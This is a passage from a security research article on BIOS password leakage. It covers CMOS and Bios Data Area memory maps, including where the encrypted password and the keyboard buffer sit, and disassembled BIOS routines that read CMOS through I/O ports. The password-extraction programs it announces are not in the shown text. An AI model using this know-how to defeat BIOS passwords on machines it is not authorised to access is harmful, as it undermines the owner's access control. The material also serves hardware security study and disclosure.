BIOS Information Leakage

A nice doc about cmos programming in asm

(by endrazine)

A complete document about CMOS programming. It includes some complete assembly programs to dump, reset and extract the password from the BIOS data. It also contains the CMOS map.

```
Bios Manufacturers Warned : Yes
Feedback from Bios Manufacturers : None
CERT Warned : Yes
CERT Reference : VU#847537

|=----------------------------------------------------------------------=|
|=-------------=[      BIOS Information Leakage      ]=------------------=|
|=----------------------------------------------------------------------=|
|=----------------=[         by Endrazine         ]=---------------------=|
|=----------------=[   endrazine@pulltheplug.org  ]=---------------------=|
|=----------------------------------------------------------------------=|



Plan :


 1 - Introduction

 2 - A Bios Overview

 3 - Physical Ports Acess : CMOS Phun

 4 - Physical memory access applyed to Keyboard buffer access

 5 - Final considerations

 6 - Greetings & References

 7 - Appendix



--[ 1 - Introduction
```

About ten years ago, while I was a teenage student, I started programming at school. I used to study Turbo Pascal, and since I was a real beginner, I made several programming mistakes. I especially got a few segementation faults which led to random memory dumps. No big deal at first sight. But one of the dumps was interesting : it showed the Bios password in plain text. So I knew this password was in plain text somewhere in memory. Knowing an attack is possible is one thing, exploiting it is much harder. Exploiting it using new techniques is even better : this is what this paper will describe.

Hence, the main goal of this article isn't to detail the Bios cracking methodology but to use Bios cracking as a pretext to introduce little known techniques to explore the content of a computer : physical ports interfacing and physical memory reading and writing among others, which are very little used today in the linux world.

After a Bios role overview discribing the the Bios structure, we will focus on the main topic of this article : physical port communication applyed to CMOS password tricks under Linux, and reading the password from physical memory in the following section.

I insist that this paper doesn't aim at helping kids in gaining access to computers : what matters here are the new techniques employed rather than the lame actions you could do applying those techniques.

Every single piece of code has been tested both on a Toshiba laptop (Toshiba Satellite Pro A60, 768 Mo RAM, Insyde Bios V190) running Debian Linux (kernel 2.6.11) and a Desktop Computer (p100 MHz, 40Mo RAM, AWARD Bios Modular 4.50pg) running Gentoo Linux (kernel 2.6.10). 99% of the code granted to compile and run fine under root privileges.

To illustrate this article, I will provide exerpts from the disasm of my own Bios (the toshiba laptop mentioned earlier : yeah, it's a cheap one, send me money ;). Keep in mind that many Bios operations are very model specific, so I encourage you to reverse your own Bios and to refer to your mother board's data sheet for more accurate informations concerning your own Bios ROM. I used sysodeco [1] to unpack my Bios and IDA 4.3 freeware edition [2] to disasemble the ROM. The ROM I used in this article is uued as appendix. IDA generated asm code is also available on request.

--[2 - A Bios Overview

I will detail the role of Bios through a boot process overview. This exlpaination is not exhaustive. (I will give details about what is relevant for the rest of my paper), but you can refer to Intel volume III [3] to get more informations on this topic (the section detailling the Northbrige should answer your questions).
Informations contained in this section are a combination of my own experimentations along with four other sources : the "BIOS companion" book [4], which is merely a compilation of motherboards data sheets, for the figures, the "BIOS Survival Guide Version 5.4" [5] for additional infos concerning the CMOS role, "Award BIOS Reverse Engineering" article from Mappatutu Salihun Darmawan for code breakers[6], and of course Intel volume III [3].

Mappatutu Salihun Darmawan's article is very complete and attempts to explain how the Bios (which starts in protected mode) can switch to real mode, and even run 32b instructions...

At boot time, a computer starts thanks to a piece of software stored as ROM on the motherboard : the Basic Input Output System (BIOS). The BIOS configuration is stored in an other chip, called Complementary Metal

Oxide Semi-conductor (CMOS). Since CMOS is not launched in RAM (your computer RAM is not known by BIOS before a while anyway), accessing your CMOS requires you to perform physical ports communications through ports 70h and 71h (we will see this in detail later, since this is the core of this article).

The standard CMOS Map is provided below as figure 1 (based on infos from the "Bios Companion Book").

figure 1 : CMOS MAP

```
Offset   Size    Function


0x00     1 byte  RTC seconds. Contains the seconds value of current
                  time. (BCD*)
0x01     1 byte  RTC seconds alarm. Contains the seconds value for the
                  RTC alarm (BCD*)
0x02     1 byte  RTC minutes. Contains the minutes value of the current
                  time (BCD*)
0x03     1 byte  RTC minutes alarm. Contains the minutes value for the
                  RTC alarm (BCD*)
0x04     1 byte  RTC hours. Contains the hours value of the current time
                  (BCD Format*)
0x05     1 byte  RTC hours alarm. Contains the hours value for the RTC a
                  larm (BCD*)
0x06     1 byte  RTC day of week. Contains the current day of the week
                  (1 .. 7, sunday=1)
0x07     1 byte  RTC date day. Contains day value of current date (BCD*)
0x08     1 byte  RTC date month. Contains the month value of current date
                  (BCD*)
0x09     1 byte  RTC date year. Contains the year value of current date
                  (BCD*)
0x0A     1 byte  Status Register A
                 Bit  7 = Update in progress
                      0 = Date and time can be read
                      1 = Time update in progress
                 Bits 6-4 = Time frequency divider
                 Bits 3-0 = Rate selection frequency

0x0B    1 byte  Status Register B
                 Bit 7 = Clock update cycle
                   0 = Update normally
                   1 = Abort update in progress
                 Bit 6 = Periodic interrupt
                   0 = Disable interrupt (default)
                   1 = Enable interrupt
                 Bit 5 = Alarm interrupt
                   0 = Disable interrupt (default)
                   1 = Enable interrupt
                 Bit 4 = Update ended interrupt
                   0 = Disable interrupt (default)
                   1 = Enable interrupt
                 Bit 3 = Status register A square wave frequency
                   0 = Disable square wave (default)
                   1 = Enable square wave
                 Bit 2 = 24 hour clock
                   0 = 24 hour mode (default)
                   1 = 12 hour mode
                 Bit 1 = Daylight savings time
                   0 = Disable daylight savings (default)
                   1 = Enable daylight savings
```

```
0x0C    1 byte  Status Register C - Read only flags indicating system
                 status conditions
                 Bit  7   = IRQF flag
                 Bit  6   = PF flag
                 Bit  5   = AF flag
                 Bit  4   = UF flag
                 Bits 3-0 = Reserved

0x0D    1 byte  Status Register D - Valid CMOS RAM flag on bit 7
                 (battery condition flag)
                 Bit 7 = Valid CMOS RAM flag
                  0 = CMOS battery dead
                  1 = CMOS battery power good
                 Bit 6-0 = Reserved

0x0E    1 byte  Diagnostic Status
                 Bit 7 = Real time clock power status
                  0 = CMOS has not lost power
                  1 = CMOS has lost power
                 Bit 6 = CMOS checksum status
                  0 = Checksum is good
                  1 = Checksum is bad
                 Bit 5 = POST configuration information status
                  0 = Configuration information is valid,
                  1 = Configuration information in invalid
                 Bit 4 = Memory size compare during POST
                  0 = POST memory equals configuration
                  1 = POST memory not equal to configuration
                 Bit 3 = Fixed disk/adapter initialization
                  0 = Initialization good
                  1 = Initialization bad
                 Bit 2 = CMOS time status indicator
                  0 = Time is valid
                  1 = Time is invalid
                 Bit 1-0 = Reserved

0x0F    1 byte  CMOS Shutdown Status
                 00h = Power on or soft reset
                 01h = Memory size pass
                 02h = Memory test pass
                 03h = Memory test fail
                 04h = POST complete; boot system
                 05h = JMP double word pointer with EOI
                 06h = Protected mode tests pass
                 07h = protected mode tests fail
                 08h = Memory size fail
                 09h = Int 15h block move
                 0Ah = JMP double word pointer without EOI
                 0Bh = Used by 80386

0x10    1 byte  Floppy Disk Drive Types
                 Bits 7-4 = Drive 0 type
                 Bits 3-0 = Drive 1 type
                 0000 = None
                 0001 = 360KB
                 0010 = 1.2MB
                 0011 = 720KB
                 0100 = 1.44MB

0x11    1 byte  System Configuration Settings
                 Bit 7 = Mouse support disable/enable
                 Bit 6 = Memory test above 1MB disable/enable
                 Bit 5 = Memory test tick sound disable/enable
                 Bit 4 = Memory parity error check disable/enable
                 Bit 3 = Setup utility trigger display disable/enable
                 Bit 2 = Hard disk type 47 RAM area
                 Bit 1 = Wait for<F1> if any error message disable/enable
                 Bit 0 = System boot up with Numlock (off/on status)
```

```
0x12    1 byte  Hard Disk Types
                 Bits 7-4 = Hard disk 0 type
                 Bits 3-0 = Hard disk 1 type
                 0000 = No drive installed
                 0001 = Type 1 installed
                 1110 = Type 14 installed
                 1111 = Type 16-47 (defined later in 19h)

0x13    1 byte  Typematic Parameters
                 Bit 7 = typematic rate programming disable/enabled
                 Bit 6-5 = typematic rate delay
                 Bit 4-2 = Typematic rate

0x14    1 byte  Installed Equipment
                 Bits 7-6 = Number of floppy disks
                  00 = 1 floppy disk
                  01 = 2 floppy disks
                 Bits 5-4 = Primary display
                  00 = Use display adapter BIOS
                  01 = CGA 40 column
                  10 = CGA 80 column
                  11 = Monochrome Display Adapter
                 Bit 3 = Display adapter installed/not installed
                 Bit 2 = Keyboard installed/not installed
                 Bit 1 = math coprocessor installed/not installed
                 Bit 0 = Always set to 1

0x15    1 byte  Base Memory Low Order Byte - Least significant byte
0x16    1 byte  Base Memory High Order Byte - Most significant byte
0x17    1 byte  Extended Memory Low Order Byte - Least significant byte
0x18    1 byte  Extended Memory High Order Byte - Most significant byte

0x19    1 byte  Hard Disk 0 Extended Type -
                 0x10h to 0x2Eh = Type 16 to 46 respectively
0x1A    1 byte  Hard Disk 1 Extended Type -
                 0x10h to 0x2Eh = Type 16 to 46 respectively
0x1B    1 byte  User Defined Drive C:
                 Number of cylinders least significant byte
0x1C    1 byte  User Defined Drive C:
                 Number of cylinders most significant byte
0x1D    1 byte  User Defined Drive C:
                 Number of heads
0x1E    1 byte  User Defined Drive C:
                 Write precomp cylinder least significant byte
0x1F    1 byte  User Defined Drive C:
                 Write precomp cylinder most significant byte
0x20    1 byte  User Defined Drive C:
                 Control byte
0x21    1 byte  User Defined Drive C:
                 Landing zone least significant byte
0x22    1 byte  User Defined Drive C:
                 Landing zone most significant byte
0x23    1 byte  User Defined Drive C:
                 Number of sectors

0x24    1 byte  User Defined Drive D:
                 Number of cylinders least significant byte
0x25    1 byte  User defined Drive D:
                 Number of cylinders most significant byte
0x26    1 byte  User Defined Drive D:
                 Number of heads
0x27    1 byte  User Defined Drive D:
                 Write precomp cylinder least significant byte
0x28    1 byte  User Defined Drive D:
                 Write precomp cylinder most significant byte
0x29    1 byte  User Defined Drive D:
                 Control byte
```

```
0x2A    1 byte  User Defined Drive D:
                 Landing zone least significant byte
0x2B    1 byte  User Defined Drive D:
                 Landing zone most significant byte
0x2C    1 byte  User Defined Drive D:
                 Number of sectors

0x2D    1 byte  System Operational Flags
                 Bit 7 = Weitek processor present/absent
                 Bit 6 = Floppy drive seek at boot enable/disable
                 Bit 5 = System boot sequence
                 Bit 4 = System boot CPU speed high/low
                 Bit 3 = External cache enable/disable
                 Bit 2 = Internal cache enable/disable
                 Bit 1 = Fast gate A20 operation enable/disable
                 Bit 0 = Turbo switch function enable/disable

0x2E    1 byte  CMOS Checksum High Order Byte - Most significant byte
0x2F    1 byte  CMOS Checksum Low Order Byte - Least significant byte

0x30    1 byte  Actual Extended Memory Low Order Byte
                 Least significant byte
0x31    1 byte  Actual Extended Memory High Order Byte
                 Most significant byte
0x32    1 byte  Century Date BCD - Value for century of current date
0x33    1 byte  POST Information Flags
                 Bit 7 = BIOS length (64KB/128KB)
                 Bit 6-1 = reserved
                 Bit 0 = POST cache test passed/failed

0x34    1 byte  BIOS and Shadow Option Flags
                 Bit 7 = Boot sector virus protection disabled/enabled
                 Bit 6 = Password checking option disabled/enabled
                 Bit 5 = Adapter ROM shadow C800h (16KB) disabled/enabled
                 Bit 4 = Adapter ROM shadow CC00h (16KB) disabled/enabled
                 Bit 3 = Adapter ROM shadow D000h (16KB) disabled/enabled
                 Bit 2 = Adapter ROM shadow D400h (16KB) disabled/enabled
                 Bit 1 = Adapter ROM shadow D800h (16KB) disabled/enabled
                 Bit 0 = Adapter ROM shadow DC00h (16KB) disabled/enabled

0x35    1 byte  BIOS and Shadow Option Flags
                 Bit 7 = Adapter ROM shadow E000h (16KB) disabled/enabled
                 Bit 6 = Adapter ROM shadow E400h (16KB) disabled/enabled
                 Bit 5 = Adapter ROM shadow E800h (16KB) disabled/enabled
                 Bit 4 = Adapter ROM shadow EC00h (16KB) disabled/enabled
                 Bit 3 = System ROM shadow F000h (16KB) disabled/enabled
                 Bit 2 = Video ROM shadow C000h (16KB) disabled/enabled
                 Bit 1 = Video ROM shadow C400h (16KB) disabled/enabled
                 Bit 0 = Numeric processor test disabled/enabled

0x36    1 byte  Chipset Specific Information

0x37    1 byte  Password Seed and Color Option
                 Bit 7-4 = Password seed (do not change)
                 Bit 3-0 = Setup screen color palette
                     07h = White on black
                     70h = Black on white
                     17h = White on blue
                     20h = Black on green
                     30h = Black on turquoise
                     47h = White on red
                     57h = White on magenta
                     60h = Black on brown

0x38    6 byte  Encrypted Password
0x3E    1 byte  Extended CMOS Checksum - Most significant byte
0x3F    1 byte  Extended CMOS Checksum - Least significant byte
0x40    1 byte  Model Number Byte
```

```
0x41    1 byte  1st Serial Number Byte
0x42    1 byte  2nd Serial Number Byte
0x43    1 byte  3rd Serial Number Byte
0x44    1 byte  4th Serial Number Byte
0x45    1 byte  5th Serial Number Byte
0x46    1 byte  6th Serial Number Byte
0x47    1 byte  CRC Byte
0x48    1 byte  Century Byte
0x49    1 byte  Date Alarm
0x4A    1 byte  Extended Control Register 4A
0x4B    1 byte  Extended Control register 4B
0x4C    1 byte  Reserved
0x4D    1 byte  Reserved
0x4E    1 byte  Real Time Clock - Address 2
0x4F    1 byte  Real Time Clock - Address 3
0x50    1 byte  Extended RAM Address - Least significant byte
0x51    1 byte  Extended RAM Address - Most significant byte
0x52    1 byte  Reserved
0x53    1 byte  Extended RAM Data Port
0x54    1 byte  Reserved
0x55    1 byte  Reserved
0x56    1 byte  Reserved
0x57    1 byte  Reserved
0x58    1 byte  Reserved
0x59    1 byte  Reserved
0x5A    1 byte  Reserved
0x5B    1 byte  Reserved
0x5C    1 byte  Reserved
0x5D    1 byte  Reserved
```

NOTE : (*) The BCD format is used by Bios to store numbers. Numbers are stored in hex format, but the upper nible contains the 10-digits, while the lower one contains the 1-digits.

If you dump your Bios ROM or simply download a new one from your Bios manufacturer and try to disassemble it, you will see that some parts of your Bios are packed. Actually, if you launch such a ROM with IDA, you'll see that the only non packed parts are unpacking routine. Start by looking at the ASCII strings in your Bios and look for an unpacker, or build a simple unpacker using those routines (as opposite to ELF unpacking, you already know where to find those routines : they are the only one you'll see as code :). Since I'm lazy, I first looked at the strings in my ROM using the linux 'file' and 'strings' commands. The interesting one for Toshba Bioses is this one :
"all rights reserved Insyde software Corp."
Insyde Software is a Bios manufacturer anciently known as System Soft. So I searched for an unpacker (I told you, I am lazy) and found sysodeco unpacker here [1]. If you plan to unpack yours, looking at "Advanced Bios logo reader" (http://www.kaos.ru/biosgfx/index.html) [7] first can be time saving : it contains unpackers for many Bioses.

When pushing the button, BIOS will perform
an analisys of the system components (I'll axplain this point later) and
initialize the video system. In my Bios, this is done this way :

```
  push   bp
  mov    bp, sp
  push   ax
  push   bx
  push   cx
  pushf
  cli
  mov   cx, 1
  mov   ax, 4F05h
  xor   bx, bx
  int   10h             ; - VIDEO - VESA SuperVGA BIOS - VESA SuperVGA BIOS
                        ; - CPU VIDEO MEMORY CONTROL
                        ; BL = 00h window A, 01h window B
                        ; Return: AL = 4Fh function supported
                        ; AH = 00h successful, 01h failed
                        ; BH = subfunctionselect video memory window
  cmp   ah, 4Fh
  jz    near ptr 45DDh
  loop  near ptr 45CCh
  mov   cx, 1
  mov   ax, 4F05h
  mov   bx, 1
  int   10h             ; - VIDEO - VESA SuperVGA BIOS -  VESA SuperVGA BIOS
                        ; - CPU VIDEO MEMORY CONTROL
                        ; BL = 00h window A, 01h window B
                        ; Return: AL = 4Fh function supported
                        ; AH = 00h successful, 01h failed
                        ; BH = subfunctionselect video memory window
  cmp   ax, 4Fh
  jz    near ptr 45ECh
  loop  near ptr 45DDh
  popf
  pop   cx
  pop   bx
  pop   ax
  leave

  retn
```

This process is known as POST (Power-On Self Test). This operation
is a crucial for your system since the BIOS will initialize important
periferals. I reallized that the BIOS gets those informations through
CMOS queries, as shown below, or through physical ports queries on
port 72h and 73h, which are used to access the extended RAM following
"Award BIOS Reverse Engineering" from Mappatutu Salihun Darmawan [6].

Here is how the Toshiba Bios accesses CMOS configurations :

```
  push    bp
  mov     bp, sp
  mov     al, [bp+4]
  out     70h, al     ; CMOS Memory:
                      ; used by real-time clock
  in      al, 71h     ; CMOS Memory
  leave
  retn
```

And how it can access extended RAM to get Northbrige infos :

```
  push    bp
  mov     bp, sp
  mov     al, [bp+4]
  or      al, 80h
  out     72h, al
  in      al, 73h
  leave
  retn
```

There is a Checksum at 0x2E in the CMOS that certifies it as not been corrupted. The Bios will recalculate this checksum and set a flag in CMOS at 0x0E if the checksum is wrong, then the CMOS is set back to its default configuration.

The Bios will then ask you for a password. This password will be compared with the one stored in CMOS at 0x38 (as shown in figure 1). How is this done in detail ? To understand this magic, I need to introduce one more structure, the Bios Data Area (BDA). (figure 2 is also based on inforamations from the "Bios Companion Book").

figure 2 : Bios Data Area MAP

```
Offset  Size   Description

0x00 2  bytes  Base I/O address for serial port 1
                (communications port 1 - COM 1)
0x02 2  bytes  Base I/O address for serial port 2
                (communications port 2 - COM 2)
0x04 2  bytes  Base I/O address for serial port 3
                (communications port 3 - COM 3)
0x06 2  bytes  Base I/O address for serial port 4
                (communications port 4 - COM 4)
0x08 2  bytes  Base I/O address for parallel port 1
                (printer port 1 - LPT 1)
0x0A 2  bytes  Base I/O address for parallel port 2
                (printer port 2 - LPT 2)
0x0C 2  bytes  Base I/O address for parallel port 3
                (printer port 3 - LPT 3)
0x0E 2  bytes  Base I/O address for parallel port 4
                (printer port 4 - LPT 4)
0x10 2  bytes  Equipment Word
               Bits 15-14 indicate the number of parallel ports installed
                00b = 1 parallel port
                01b = 2 parallel ports
                03b = 3 parallel ports
               Bits 13-12 are reserved
               Bits 11-9 indicate the number of serial ports installed
                000b = none
                001b = 1 serial port
                002b = 2 serial ports
                003b = 3 serial ports
                004b = 4 serial ports
               Bit 8 is reserved
               Bit 7-6 indicate the number of floppy drives installed
                0b = 1 floppy drive
                1b = 2 floppy drives
               Bits 5-4 indicate the video mode
                00b = EGA or later
                01b = color 40x25
                10b = color 80x25
                11b = monochrome 80x25
```

```
               Bit 3 is reserved
               Bit 2 indicates if a PS/2 mouse is installed
                0b = not installed
                1b = installed
               Bit 1 indicated if a math coprocessor is installed
                0b = not installed
                1b = installed
               Bit 0 indicated if a boot floppy is installed
                0b = not installed
                1b = installed
0x12 1  byte   Interrupt flag - Manufacturing test
0x13 2  bytes  Memory size in Kb
0x15 2  bytes  Error codes for AT+
               Adapter memory size for PC and XT
0x17 1  byte   Keyboard shift flags 1
               Bit 7 indicates if Insert is on or off
                0b = Insert off
                1b = Insert on
               Bit 6 indicates if CapsLock is on or off
                0b = CapsLock off
                1b - CapsLock on
               Bit 5 indicates if NumLock is on or off
                0b = NumLock off
                1b = NumLock on
               Bit 4 indicates if ScrollLock is on or off
                0b = ScrollLock off
                1b = ScrollLock on
               Bit 3 indicates if the Alt key is up or down
                0b = Alt key is up
                1b = Alt key is down
               Bit 2 indicates if the Control key is up or down
                0b = Control key is up
                1b = Control key is down
               Bit 1 indicates if the Left Shift key is up or down
                0b = Left Shift key is up
                1b = Left Shift key is down
               Bit 0 indicates if the Right Shift key is up or down
                0b = Right Shift key is up
                1b = Right Shift key is down
0x18 1  byte   Keyboard shift flags 2
               Bit 7 indicates if the Insert key is up or down
                0b = Insert key is up
                1b = Insert key is down
               Bit 6 indicates if the CapsLock key is up or down
                0b = CapsLock is key is up
                1b = CapsLock key is down
               Bit 5 indicates if the NumLock key is up or down
                0b = NumLock key is up
                1b = Numlock key is down
               Bit 4 indicates if the ScrollLock key is up or down
                0b = ScrollLock key is up
                1b = ScrollLock key is down
               Bit 3 indicates if the Pause key is active or inactive
                0b = pause key is inactive
                1b = Pause key is active
               Bit 2 indicates if the SysReg key is up or down
                0b = SysReg key is up
                1b = SysReg key is down
               Bit 1 indicates if the Left Alt key is up or down
                0b = Left Alt key is up
                1b = Left Alt key is down
               Bit 0 indicates if the Right Alt key is up or down
                0b = Right Alt key is up
                1b = Right Alt key is down
0x19 1  byte   Alt Numpad work area
0x1A 2  bytes  Pointer to the address of the next character in the
                keyboard buffer
```

```
0x1C 2  bytes  Pointer to the address of the last character in the
                keyboard buffer
0x1E 32 bytes  Keyboard buffer
0x3E 1  byte   Floppy disk drive calibration status
               Bits 7-4 are reserved
               Bit 3 = floppy drive 3 (PC, XT)
               Bit 2 = floppy drive 2 (PC, XT)
               Bit 1 = floppy drive 1
               Bit 0 = floppy drive 0
                0b indicates not calibrated
                1b indicates calibrated
0x3F 1  byte   Floppy disk drive motor status
               Bit 7 indicates current operation
                0b = read or verify operation
                1b = write or format operation
               Bit 6 is not used
               Bit 5-4 indicates drive select
                00b = Drive 0
                01b = Drive 1
                10b = Drive 2 (PC, XT)
                11b = Drive 4 (PC, XT)
               Bit 3 indicates drive 3 motor
                0b = motor off
                1b = motor on
               Bit 2 indicates drive 2 motor
                0b = motor off
                1b = motor on
               Bit 1 indicates drive 0 motor
                0b = motor off
                1b = motor on
                0b = motor off
                1b = motor on
0x40 1  byte   Floppy disk drive motor time-out
0x41 1  byte   Floppy disk drive status
               Bit 7 indicates drive ready status
                0b = drive ready
                1b = drive not ready (time out)
               Bit 6 indicates seek status
                0b = no seek error detected
                1b = indicates a seek error was detected
               Bit 5 indicates floppy disk controller test
                0b = floppy disk controller passed
                1b = floppy disk controller failed
               Bit 4-0 error codes
                00000b = no errors
                00001b = illegal function requested
                00010b = address mark not found
                00011b = write protect error
                00100b = sector not found
                00110b = diskette change line active
                01000b = DMA overrun
                01001b = DMA boundary error
                01100b = unknown media type
                10000b = CRC error during read
0x42 1  byte   Hard disk and floppy controller status register 0
               Bit 7-6 indicate the interrupt code
                00b = command completed normally
                01b = command terminated abnormally
                10b = abnormal termination, ready line on
                       or diskette changed
                11b = seek command not completed
               Bit 5 indicated seek command
                0b = seek command not completed
                1b = seek command completed
               Bit 4 indicated drive fault
                0b = no drive fault
                1b = drive fault
               Bit 3 indicates drive ready
```

```
                0b = drive ready
                1b = drive not ready
               Bit 2 indicates head state when interrupt occurred
                00b = drive 0
                01b = drive 1
                10b = drive 2 (PC, XT)
                11b = drive 3 (PC, XT)
               Bit 1-0 indicates drive select
                00b = drive 0
                01b = drive 1
                10b = drive 2 (PC, XT)
                11b = drive 3 (PC, XT)
0x43 1  byte   Floppy drive controller status register 1
               Bit 7-0 indicates no error
               Bit 7, 1b = indicates attempted access beyond
                           last cylinder
               Bit 6, 0b = not used
               Bit 5, 1b = CRC error during read
               Bit 4, 1b = DMA overrun
               Bit 3, 0b = not used
               Bit 2, 1b = Sector not found or reading diskette ID failed
               Bit 1, 1b = medium write protected
               Bit 0, 1b = missing address mark
0x44 1  byte   Floppy drive controller status register 2
               Bit 7, 0b = not used
               Bit 6, 1b = deleted data address mark
               Bit 5, 1b = CRC error detected
               Bit 4, 1b = wrong cylinder
               Bit 3, 1b = condition of equal during verify
               Bit 2, 1b = sector not found during verify
               Bit 1, 1b = bad cylinder
               Bit 0, 1b = address mark not found during read
0x45 1  byte   Floppy disk controller: cylinder number
0x46 1  byte   Floppy disk controller: head number
0x47 1  byte   Floppy disk controller: sector number
0x48 1  byte   Floppy disk controller: number of byte written
0x49 1  byte   Active video mode setting
0x4A 2  bytes  Number of textcolumns per row for the active video mode
0x4C 2  bytes  Size of active video in page bytes
0x4E 2  bytes  Offset address of the active video page relative to the
                start of video RAM
0x50 2  bytes  Cursor position for video page 0
0x52 2  bytes  Cursor position for video page 1
0x54 2  bytes  Cursor position for video page 2
0x56 2  bytes  Cursor position for video page 3
0x58 2  bytes  Cursor position for video page 4
0x5A 2  bytes  Cursor position for video page 5
0x5C 2  bytes  Cursor position for video page 6
0x5E 2  bytes  Cursor position for video page 7
0x60 2  bytes  Cursor shape
0x62 1  byte   Active video page
0x63 2  bytes  I/O port address for the video display adapter
0x65 1  byte   Video display adapter internal mode register
               Bit 7, 0b = not used
               Bit 6, 0b = not used
               Bit 5
                0b = attribute bit controls background intensity
                1b = attribute bit controls blinking
               Bit 4, 1b = mode 6 graphics operation
               Bit 3 indicates video signal
                0b = video signal disabled
                1b = video signal enabled
               Bit 2 indicates color operation
                0b = color operation
                1b = monochrome operation
               Bit 1, 1b = mode 4/5 graphics operation
               Bit 0, 1b = mode 2/3 test operation
```

```
0x66 1  byte  Color palette
              Bit 7, 0b = not used
              Bit 6, 0b = not used
              Bit 5 indicates mode 5 foreground    colors
               0b = green/red/yellow
               1b = cyan/magenta/white
              Bit 4 indicates background color
               0b = normal background color
               1b = intensified background color
              Bit 3 indicates intensified border color (mode 2) and
                     background color (mode 5)
              Bit 2 indicates red
              Bit 1 indicates green
              Bit 0 indicates blue
0x67 2  bytes  Adapter ROM offset address
0x69 2  bytes  Adapter ROM segment address
0x6B 1  byte   Last    interrupt (not PC)
              Bit 7 indicates IRQ 7 hardware interrupt
               0b = did not occur
               01 = did occur
              Bit 6 indicates IRQ 6 hardware interrupt
               0b = did not occur
               01 = did occur
              Bit 5 indicates IRQ 5 hardware interrupt
               0b = did not occur
               01 = did occur
              Bit 4 indicates IRQ 4 hardware interrupt
               0b = did not occur
               01 = did occur
              Bit 3 indicates IRQ 3 hardware interrupt
               0b = did not occur
               01 = did occur
              Bit 2 indicates IRQ 2 hardware interrupt
               0b = did not occur
               01 = did occur
              Bit 1 indicates IRQ 1 hardware interrupt
               0b = did not occur
               01 = did occur
              Bit 0 indicates IRQ 0 hardware interrupt
               0b = did not occur
               01 = did occur
0x6C 4  bytes  Counter for Interrupt 1Ah
0x70c  1  byte   Timer 24 hour flag
0x71 1  byte   Keyboard Ctrl-Break flag
0x72 2  bytes  Soft reset flag
0x74 1  byte   status of last hard disk operation
               00h = no errors
               01h = invalid function requested
               02h = address mark not found
               04h = sector not found
               05h = reset failed
               06h = removable media changed
               07h = drive parameter activity failed
               08h = DMA overrun
               09h = DMA boundary overrun
               0Ah = bad sector flag detected
               0Bh = bad track detected
               0Dh = invalid number of sectors on format
               0Eh = control data address mark detected
               0Fh = DMA arbitration level out of range
               10h = uncorrectable ECC or CRC error
               11h = ECC corrected data error
               20h = general controller failure
               40h = seek operation failed
               80h = timeout
               AAh = drive not ready
               BBh = undefined error occurred
               CCh = write fault on selected drive
```

```
                E0h = status error or error register is zero
                FFh = sense operation failed
0x75 1  byte    Number of hard disk drives
0x76 1  byte    Hard disk control byte
                Bit 7
                 0b = enables retries on disk error
                 1b = disables retries on disk error
                Bit 6
                 0b = enables reties on disk error
                 1b = enables reties on disk error
                Bit 5, 0b = not used
                Bit 4, 0b = not used
                Bit 3
                 0b = drive has less than 8 heads
                 1b = drive has more than 8 heads
                Bit 2, 0b = not used
                Bit 1, 0b = not used
                Bit 0, 0b = not used
0x77 1  byte    Offset    address of hard disk I/O port (XT)
0x78 1  byte    Parallel port 1 timeout
0x79 1  byte    Parallel port 2 timeout
0x7A 1  byte    Parallel port 3 timeout
0x7B 1  byte    Parallel port 4 timeout (PC, XT) support for virtual DMA
                 services (VDS)
                Bit 7, 0b = not used
                Bit 6, 0b = not used
                Bit 5 indicates virtual DMA services
                 0b = not supported
                 1b = supported
                Bit 4, 0b = not used
                Bit 3 indicates chaining on interrupt 4Bh
                 0b = not    required
                 1b = required
                Bit 2, 0b = not used
                Bit 1, 0b = not used
                Bit 0, 0b = not used
0x7C 1  byte    serial port 1 timeout
0x7D 1  byte    serial port 2 timeout
0x7E 1  byte    serial port 3 timeout
0x7F 1  byte    serial port 4 timeout
0x80 2  bytes   Starting address of keyboard buffer
0x82 2  bytes   Ending address of keyboard buffer
0x84 1  byte    Number of video rows (minus 1)
0x85 2  bytes   Number of scan lines per character
0x87 1  byte    Video display adapter options
                Bit 7 indicates bit 7 of the last    video mode
                 0b = clear display buffer when setting mode
                 1b = do not clear the display buffer
                Bit 6-4 indicates the amount of memory on the video
                         display adapter
                 000b = 64Kb
                 001b = 128Kb
                 010b = 192Kb
                 011b = 256Kb
                 100b = 512Kb
                 110 = 1024Kb or more
                Bit 3 indicates video subsystem
                 0b = not active
                 1b = active
                Bit 2 is reserved
                Bit 1 indicates monitor type
                 0b = color
                 1b = monochrome
                Bit 0 indicates alphanumeric cursor emulation
                 0b = disabled
                 1b = enabled
```

```
0x88 1  byte   Video display adapter switches
               Bit 7 indicates state of feature connector line 1
               Bit 6 indicates state of feature connector line 0
               Bit 5-4 not used
               Bit 3-0 indicate adapter type switch settings
                0000b = MDA/color 40x25
                0001b = MDA/color 80x25
                0010b = MDA/high-resolution 80x25
                0011b = MDA/high-resolution enhanced
                0100b = CGA 40x25/monochrome
                0101b = CGA 80x25/monochrome
                0110b = color 40x25/MDA
                0111b = color 80x25/MDA
                1000b = high-resolution 80x25/MDA
                1001b = high-resolution enhanced/MDA
                1010b = monochrome/CGA 40x25
                1011b = monochrome/CGA 80x25
0x89 1  byte   VGA video flags 1
               Bit 7 and 4 indicate scanline mode
                00b = 350-line mode
                01b = 400-line mode
                10b = 200-line mode
               Bit 6 indicates display switch
                0b = disabled
                1b = enabled
               Bit 5 is reserved
               Bit 3 indicates default palette loading
                0b = disabled
                1b= enabled
               Bit 2 indicates monitor type
                0b = color
                1b = monochrome
               Bit 1 indicates gray scale summing
                0b = disabled
                1b = enabled
               Bit 0 indicates VGA active state
                0b = VGA inactive
                1b = VGA active
0x8A 1  byte   VGA video flags 2
0x8B 1  byte   Floppy disk configuration data
               Bit 7-6 indicate last data sent to the controller
                00b = 500 Kbit/sec/sec
                01b = 300 Kbit/sec
                10b = 250 Kbit/sec
                11b = rate not set or 1 Mbit/sec
               Bit 5-4 indicate last drive steprate sent to the
                        controller
                00b = 8ms
                01b = 7ms
                10b = 6ms
                11b = 5ms
               Bit 3-2 indicate data rate, set at start of
                        operation (Bits 7-6)
               Bit 1-0 not used
0x8C 1  byte   Hard disk drive controller status
               Bit 7 indicates controller state
                0b = controller not busy
                1b = controller busy
               Bit 6 indicates drive ready state
                0b = drive selected not ready
                1b = drive selected ready
               Bit 5 indicates write fault
                0b = write fault did not occur
                1b = write error occurred
               Bit 4 indicates seek state
                0b = drive selected seeking
                1b = drive selected seek complete
```

```
              Bit 3 indicates data request
               0b = data request is inactive
               1b = data request is active
              Bit 2 indicates data correction
               0b = data not corrected
               1b = data corrected
              Bit 1 indicates index pulse state
               0b = index pulse inactive
               1b = index pulse active
              Bit 0 indicates error
               0b = no error
               1b = error    in previous command
